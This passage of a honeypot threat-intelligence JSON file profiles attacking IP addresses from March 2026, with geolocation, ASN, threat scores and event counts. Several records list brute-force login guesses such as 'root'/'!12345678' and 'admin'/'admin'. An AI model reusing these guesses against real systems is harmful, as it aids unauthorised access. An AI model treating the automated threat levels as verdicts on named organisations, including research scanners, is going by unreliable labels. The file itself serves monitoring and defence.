        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T23:41:40.109000+00:00",
        "last_seen_30d": "2026-03-31T03:35:31.467000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 33,
        "Cowrie": 6,
        "ConPot": 4,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "206.168.34.58": {
      "attack_count": 6,
      "first_seen": "2026-03-21T23:33:43.841Z",
      "last_seen": "2026-03-21T23:34:18.554Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 22,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T13:05:50+00:00",
        "last_seen_30d": "2026-03-23T19:54:20.182000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 52,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Tanner": 5,
        "ConPot": 1
      }
    },
    "61.41.4.17": {
      "attack_count": 6,
      "first_seen": "2026-03-12T14:15:05.221Z",
      "last_seen": "2026-03-12T14:15:25.253Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T14:15:05.221000+00:00",
        "last_seen_30d": "2026-03-12T14:16:48.857000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "66.132.186.163": {
      "attack_count": 6,
      "first_seen": "2026-03-27T08:37:38.105Z",
      "last_seen": "2026-03-27T08:38:17.518Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 7.5,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 9,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-23T19:34:29+00:00",
        "last_seen_30d": "2026-03-31T14:18:49.492000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 6,
        "Honeytrap": 3,
        "Sentrypeer": 1
      }
    },
    "8.219.153.58": {
      "attack_count": 6,
      "first_seen": "2026-03-15T17:38:12.790Z",
      "last_seen": "2026-03-15T17:38:27.986Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T03:35:34.514000+00:00",
        "last_seen_30d": "2026-03-15T17:39:50.815000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "124.70.107.30": {
      "attack_count": 5,
      "first_seen": "2026-03-30T17:29:43.947Z",
      "last_seen": "2026-03-30T17:29:46.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!12345678"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:29:43.947000+00:00",
        "last_seen_30d": "2026-03-30T17:30:50.774000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "176.120.22.240": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:11:41.836Z",
      "last_seen": "2026-03-06T01:11:44.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "backupuser"
      ],
      "passwords_attempted": [
        "backup"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 198953,
      "as_org": "Proton66 OOO",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5460,
        "days_active_30d": 30,
        "ports_targeted_30d": 1268,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:37:41+00:00",
        "last_seen_30d": "2026-03-31T18:35:35.079000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3280,
        "Honeytrap": 2164,
        "Cowrie": 5,
        "Adbhoney": 4,
        "ConPot": 4,
        "Dionaea": 3
      }
    },
    "203.55.81.2": {
      "attack_count": 5,
      "first_seen": "2026-03-05T07:42:06.402Z",
      "last_seen": "2026-03-05T07:42:10.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "rot"
      ],
      "passwords_attempted": [
        "3oki@3oki"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 213873,
      "as_org": "MOJI SAS",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:36:49+00:00",
        "last_seen_30d": "2026-03-08T20:49:51.059000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "H0neytr4p": 7,
        "Cowrie": 5,
        "Ciscoasa": 4,
        "Honeytrap": 2
      }
    },
    "38.188.160.122": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:30:53.657Z",
      "last_seen": "2026-03-11T00:30:56.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "3005"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:30:53.657000+00:00",
        "last_seen_30d": "2026-03-11T00:31:57.539000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.187": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:19:56.532Z",
      "last_seen": "2026-03-10T23:19:58.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "291183"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:19:56.532000+00:00",
        "last_seen_30d": "2026-03-10T23:21:02.535000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.252": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:49:51.151Z",
      "last_seen": "2026-03-10T23:49:53.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "150386"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:49:51.151000+00:00",
        "last_seen_30d": "2026-03-10T23:50:56.078000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "51.81.208.33": {
      "attack_count": 5,
      "first_seen": "2026-03-05T18:01:31.269Z",
      "last_seen": "2026-03-05T18:01:33.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:53:45.617000+00:00",
        "last_seen_30d": "2026-03-05T18:12:33.363000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "103.243.61.23": {
      "attack_count": 4,
      "first_seen": "2026-03-15T04:39:55.762Z",
      "last_seen": "2026-03-15T04:40:21.145Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "P\u016bth Kal\u0101n",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:39:55.762000+00:00",
        "last_seen_30d": "2026-03-15T04:41:28.036000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.49": {
      "attack_count": 4,
      "first_seen": "2026-03-10T10:52:33.254Z",
      "last_seen": "2026-03-10T10:52:36.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:19:38+00:00",
        "last_seen_30d": "2026-03-31T07:09:40.980000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 49,
        "Mailoney": 5,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "ConPot": 2,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "185.226.198.6": {
      "attack_count": 4,
      "first_seen": "2026-03-06T05:22:35.337Z",
      "last_seen": "2026-03-06T05:22:43.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 83.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T08:11:24.834000+00:00",
        "last_seen_30d": "2026-03-31T12:18:39.540000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 18,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "198.235.24.88": {
      "attack_count": 4,
      "first_seen": "2026-03-22T10:22:11.011Z",
      "last_seen": "2026-03-22T10:22:13.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 27,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T06:25:59+00:00",
        "last_seen_30d": "2026-03-30T19:31:39.775000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 23,
        "Cowrie": 4
      }
    },
    "54.163.74.166": {
      "attack_count": 4,
      "first_seen": "2026-03-09T00:47:24.541Z",
      "last_seen": "2026-03-09T00:47:29.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:50:46.366000+00:00",
        "last_seen_30d": "2026-03-09T00:48:34.777000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "66.132.153.117": {
      "attack_count": 4,
      "first_seen": "2026-03-02T00:36:55.498Z",
      "last_seen": "2026-03-02T00:37:10.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 52.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 20,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T00:36:55.498000+00:00",
        "last_seen_30d": "2026-03-21T23:40:33.297000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 10,
        "Cowrie": 4,
        "ConPot": 2,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "103.239.185.31": {
      "attack_count": 3,
      "first_seen": "2026-03-14T20:55:56.875Z",
      "last_seen": "2026-03-14T20:57:56.881Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 131516,
      "as_org": "Jinhua Weian InfoTech Co., Ltd",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:55:56.875000+00:00",
        "last_seen_30d": "2026-03-15T04:01:43.205000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "111.45.29.88": {
      "attack_count": 2,
      "first_seen": "2026-03-20T04:26:28.677Z",
      "last_seen": "2026-03-20T04:26:29.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T04:26:28.677000+00:00",
        "last_seen_30d": "2026-03-20T04:28:33.978000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "114.32.185.30": {
      "attack_count": 2,
      "first_seen": "2026-03-23T16:39:58.582Z",
      "last_seen": "2026-03-23T16:40:29.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T16:39:58.582000+00:00",
        "last_seen_30d": "2026-03-23T16:41:30.170000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.210.213.115": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:54:31.083Z",
      "last_seen": "2026-03-16T19:54:45.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:54:31.083000+00:00",
        "last_seen_30d": "2026-03-16T19:55:49.489000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.237.27.185": {
      "attack_count": 2,
      "first_seen": "2026-03-09T21:23:40.790Z",
      "last_seen": "2026-03-09T21:24:11.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:23:40.790000+00:00",
        "last_seen_30d": "2026-03-09T21:25:18.513000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.171.235.225": {
      "attack_count": 2,
      "first_seen": "2026-03-21T19:17:17.205Z",
      "last_seen": "2026-03-21T19:17:30.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Belgaum",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T19:17:17.205000+00:00",
        "last_seen_30d": "2026-03-21T19:18:33.367000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.103.161.67": {
      "attack_count": 2,
      "first_seen": "2026-03-15T01:55:13.091Z",
      "last_seen": "2026-03-15T01:55:26.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Vancouver",
      "asn": 25668,
      "as_org": "Cipherkey Exchange Corp.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T01:55:13.091000+00:00",
        "last_seen_30d": "2026-03-15T01:56:35.351000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.76.172.156": {
      "attack_count": 2,
      "first_seen": "2026-03-05T21:05:40.985Z",
      "last_seen": "2026-03-05T21:07:40.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:05:40.985000+00:00",
        "last_seen_30d": "2026-03-24T15:38:53.264000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "190.115.143.54": {
      "attack_count": 2,
      "first_seen": "2026-03-19T12:31:51.417Z",
      "last_seen": "2026-03-19T12:32:05.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Haiti",
      "country_code": "HT",
      "city": "Port-au-Prince",
      "asn": 52260,
      "as_org": "Telecommunications de Haiti Teleco",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T12:31:51.417000+00:00",
        "last_seen_30d": "2026-03-19T12:33:06.153000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.4.127.52": {
      "attack_count": 2,
      "first_seen": "2026-03-20T14:35:41.502Z",
      "last_seen": "2026-03-20T14:35:55.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 23956,
      "as_org": "AmberIT Limited",
      "threat_score": 11.1,
